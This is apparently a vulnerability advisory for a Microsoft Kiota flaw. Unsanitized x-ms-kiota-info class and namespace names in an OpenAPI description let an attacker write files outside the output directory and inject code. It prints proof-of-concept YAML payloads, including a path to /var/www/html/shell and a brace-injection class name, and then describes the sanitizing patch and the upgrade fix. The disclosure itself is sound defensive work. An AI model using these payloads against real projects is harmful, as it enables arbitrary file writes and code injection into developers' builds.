CVE-2026-59866: Microsoft Kiota Arbitrary File Write and Code Injection via x-ms-kiota-info
An attacker who controls an OpenAPI description can plant malicious values in the x-ms-kiota-info extension to make Kiota write generated source files outside the intended output directory and inject…

The problem
Microsoft Kiota reads clientClassName and clientNamespaceName from the x-ms-kiota-info OpenAPI extension and uses both values raw, without any sanitization, as the generated class name and as part of the output file path.
When a developer runs kiota generate without the -c/--class-name flag (the zero-config workflow x-ms-kiota-info is designed for), an attacker who can tamper with or supply the OpenAPI description controls both the path where the generated file lands (CWE-22) and the content of the class/namespace declaration (CWE-94).
This affects C#, Java, Go, TypeScript, Python, and PHP output.
Proof of concept
A working proof-of-concept for CVE-2026-59866 in Microsoft.OpenApi.Kiota, with the exact payload below.
# Malicious OpenAPI description (YAML)
# Place this at the root of an OpenAPI 3.x document.
# --- CWE-22: path traversal ---
# clientClassName becomes the output filename; an absolute path escapes -o.
x-ms-kiota-info:
languagesInformation:
CSharp:
clientClassName: "/var/www/html/shell"
clientNamespaceName: "Legitimate.Namespace"
# Kiota writes the generated client to /var/www/html/shell.cs
# instead of <output-dir>/shell.cs
---
# --- CWE-94: code injection ---
# Braces in clientClassName break out of the class declaration.
x-ms-kiota-info:
languagesInformation:
CSharp:
clientClassName: "Pwn { } public class INJECTED { } public partial class RealClient"
clientNamespaceName: "Legitimate.Namespace"
# Generated C# output becomes:
# public partial class Pwn { } public class INJECTED { } public partial class RealClient : BaseRequestBuilder { ... }The root cause is that GenerationConfiguration consumed the x-ms-kiota-info values and passed them directly into both the file-system path builder and the code writer with no identifier validation. Path separators, drive letters, and brace characters all passed through unchanged.
The patch (PR #7884, commit dc812db) introduced SanitizeClientClassName, which allows only [A-Za-z0-9_] and falls back to "ApiClient" on an empty result, and SanitizeClientNamespaceName, which allows only [A-Za-z0-9._-], collapses consecutive dots, and falls back to "ApiSdk".
These allowlists remove slashes, colons, dotdot sequences, braces, and quotes, breaking both the path-traversal and the class-injection primitives.
The fix
Upgrade Microsoft.OpenApi.Kiota to 1.32.5 or later and regenerate all affected clients. If upgrading immediately is not possible, always pass -c/--class-name and -n/--namespace-name explicitly on the command line so x-ms-kiota-info values are never used as the authoritative source for those fields.
Related research
- high · 7.1CVE-2026-59867CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution
- highCVE-2026-59863CVE-2026-59863: Microsoft Kiota workspace.json Path Traversal to Arbitrary File Write
- criticalCVE-2026-59865CVE-2026-59865: Microsoft Kiota Command Injection via x-ms-kiota-info dependencyInstallCommand
- highCVE-2026-59860CVE-2026-59860: Microsoft.OpenApi.Kiota XML Doc-Comment Newline Breakout Code Injection